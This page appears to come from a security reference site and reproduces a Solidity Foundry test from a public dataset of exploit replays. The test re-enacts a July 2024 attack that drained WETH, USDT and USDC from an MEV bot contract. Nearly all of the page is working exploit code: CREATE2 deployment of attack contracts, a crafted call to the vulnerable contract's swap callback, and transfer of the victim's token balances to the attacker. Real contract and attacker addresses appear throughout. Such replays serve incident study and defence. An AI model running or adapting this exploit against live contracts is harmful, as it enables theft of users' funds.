Public reproduction file

src/test/2024-07/MEVbot_0xdd7c_exp.sol

Public reproduction file for dataset entry MEVbot_0xdd7c.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-07/MEVbot_0xdd7c_exp.sol127 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo -- Total Lost : ~18K USD
8// TX : https://app.blocksec.com/explorer/tx/eth/0x53334c36502bd022bd332f2aa493862fd8f722138d1989132a46efddcc6b04d4
9// Attacker : https://etherscan.io/address/0x98250d30aed204e5cbb8fef7f099bc68dbc4b896
10// Attack Contract : https://etherscan.io/address/0xe10b2cfa421d0ecd5153c7a9d53dad949e1990dd
11// Created Attack Contract: https://etherscan.io/address/0x8a2F54B649d22BFd2A6bA23ADAb7DFd2d72EED9f
12// GUY : https://x.com/SlowMist_Team/status/1815656653100077532
13 
14library DATA {
15    struct SwapData {
16        address vuln;
17        address factory;
18        bytes32 codehash;
19        bytes data;
20    }
21}
22 
23interface IMoney {
24    function attack(address, address, uint256) external;
25}
26 
27interface IContractTest {
28    function getcodehash() external returns (bytes32);
29    function cal_address(
30        bytes32 hash
31    ) external returns (address);
32}
33 
34contract ContractTest is Test {
35    IAaveFlashloan aave = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
36    WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
37    IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
38    IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
39    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
40    address Victim = 0x0000000000E715268E0fe41ced1dd101Fc696355;
41    address public VulnContract = 0xDd7c2987686B21f656F036458C874D154A923685;
42 
43    function setUp() public {
44        vm.createSelectFork("mainnet", 20_367_788);
45    }
46 
47    function testExpolit() public {
48        emit log_named_decimal_uint(
49            "[Begin] Attacker WETH before exploit", WETH.balanceOf(address(this)), WETH.decimals()
50        );
51        emit log_named_decimal_uint(
52            "[Begin] Attacker USDT before exploit", USDT.balanceOf(address(this)), USDT.decimals()
53        );
54        emit log_named_decimal_uint(
55            "[Begin] Attacker USDC before exploit", USDC.balanceOf(address(this)), USDC.decimals()
56        );
57        bytes32 A_hash = keccak256(abi.encode(address(WETH), address(WETH), uint256(0)));
58        address A = create_contract(A_hash);
59        uint256 A_balance = WETH.balanceOf(address(Victim));
60        IMoney(A).attack(address(Victim), address(WETH), A_balance);
61 
62        bytes32 B_hash = keccak256(abi.encode(address(USDT), address(USDT), uint256(0)));
63        address B = create_contract(B_hash);
64        uint256 B_balance = USDT.balanceOf(address(Victim));
65        IMoney(B).attack(address(Victim), address(USDT), B_balance);
66 
67        bytes32 C_hash = keccak256(abi.encode(address(USDC), address(USDC), uint256(0)));
68        address C = create_contract(C_hash);
69        uint256 C_balance = USDC.balanceOf(address(Victim));
70        IMoney(C).attack(address(Victim), address(USDC), C_balance);
71        emit log_named_decimal_uint("[End] Attacker WETH after exploit", WETH.balanceOf(address(this)), WETH.decimals());
72        emit log_named_decimal_uint("[End] Attacker USDT after exploit", USDT.balanceOf(address(this)), USDT.decimals());
73        emit log_named_decimal_uint("[End] Attacker USDC after exploit", USDC.balanceOf(address(this)), USDC.decimals());
74    }
75 
76    function getcodehash() public returns (bytes32) {
77        return keccak256(type(Money).creationCode);
78    }
79 
80    function create_contract(
81        bytes32 tokenhash
82    ) internal returns (address) {
83        bytes memory bytecode = type(Money).creationCode;
84        bytes32 _salt = tokenhash;
85        bytecode = abi.encodePacked(bytecode);
86        bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
87        address hack_contract = address(uint160(uint256(hash)));
88        address addr;
89        assembly {
90            addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)
91        }
92        return hack_contract;
93    }
94 
95    fallback() external payable {}
96}
97 
98contract Money is Test {
99    WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
100    IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
101    IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
102    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
103    address other = 0xF929bA2AEec16cFfcfc66858A9434E194BAaf80D;
104    address public VulnContract = 0xDd7c2987686B21f656F036458C874D154A923685;
105    address public owner;
106 
107    constructor() {
108        owner = msg.sender;
109    }
110 
111    function attack(address vuln, address token, uint256 amount) public {
112        bytes32 codehash = IContractTest(owner).getcodehash();
113        DATA.SwapData memory datas = DATA.SwapData({
114            vuln: address(vuln),
115            factory: address(owner),
116            codehash: codehash,
117            data: abi.encodePacked(address(token), hex"000000", address(token))
118        });
119        bytes memory data = abi.encode(datas);
120        VulnContract.call(abi.encodeWithSelector(bytes4(0xfa461e33), -1, amount, data));
121        WETH.transfer(address(owner), WETH.balanceOf(address(this)));
122        address(USDT).call(abi.encodeWithSelector(bytes4(0xa9059cbb), address(owner), USDT.balanceOf(address(this))));
123        USDC.transfer(address(owner), USDC.balanceOf(address(this)));
124    }
125 
126    fallback() external payable {}
127}

Analysis

Dataset entry

Public Foundry test for “MEVbot_0xdd7c” (2024-07-23). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-07/DeFiPlaza_exp.solSame month in the dataset · 319 lines
src/test/2024-07/DoughFina_exp.solSame month in the dataset · 92 lines
src/test/2024-07/GAX_exp.solSame month in the dataset · 36 lines
src/test/2024-07/Lifiprotocol_exp.solSame month in the dataset · 131 lines
src/test/2024-07/LW_exp.solSame month in the dataset · 64 lines
src/test/2024-07/Minterest_exp.solSame month in the dataset · 151 lines
src/test/2024-07/MRP_exp.solSame month in the dataset · 61 lines
src/test/2024-07/SBT_exp.solSame month in the dataset · 53 lines
src/test/2024-07/Spectra_finance_exp.solSame month in the dataset · 52 lines
src/test/2024-07/UnverifiedContr_0x452E25_exp.solSame month in the dataset · 31 lines
src/test/2023-11/bot_exp.solSame protocol or name in the dataset · 123 lines
src/test/2022-09/MEVbadc0de_exp.solSame protocol or name in the dataset · 186 lines
src/test/2022-09/BNB48MEVBot_exp.solSame protocol or name in the dataset · 68 lines
src/test/2022-12/MEVbot_0x28d9_exp.solSame protocol or name in the dataset · 44 lines
src/test/2023-11/MEV_0x8c2d_exp.solSame protocol or name in the dataset · 101 lines
src/test/2023-11/MEV_0xa247_exp.solSame protocol or name in the dataset · 188 lines
src/test/2022-10/MEVa47b_exp.solSame protocol or name in the dataset · 126 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x98250d30aed204e5cbb8fef7f099bc68dbc4b896
Attack Contract
0xe10b2cfa421d0ecd5153c7a9d53dad949e1990dd

File record

Name: MEVbot_0xdd7c
Path: src/test/2024-07/MEVbot_0xdd7c_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: a27d3d9b9548b0d1238166a19cc5569ac853aa42
Language: Solidity
Size: 128 lines
Date: 2024-07-23
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-07/MEVbot_0xdd7c_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a27d3d9b9548b0d1238166a19cc5569ac853aa42, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.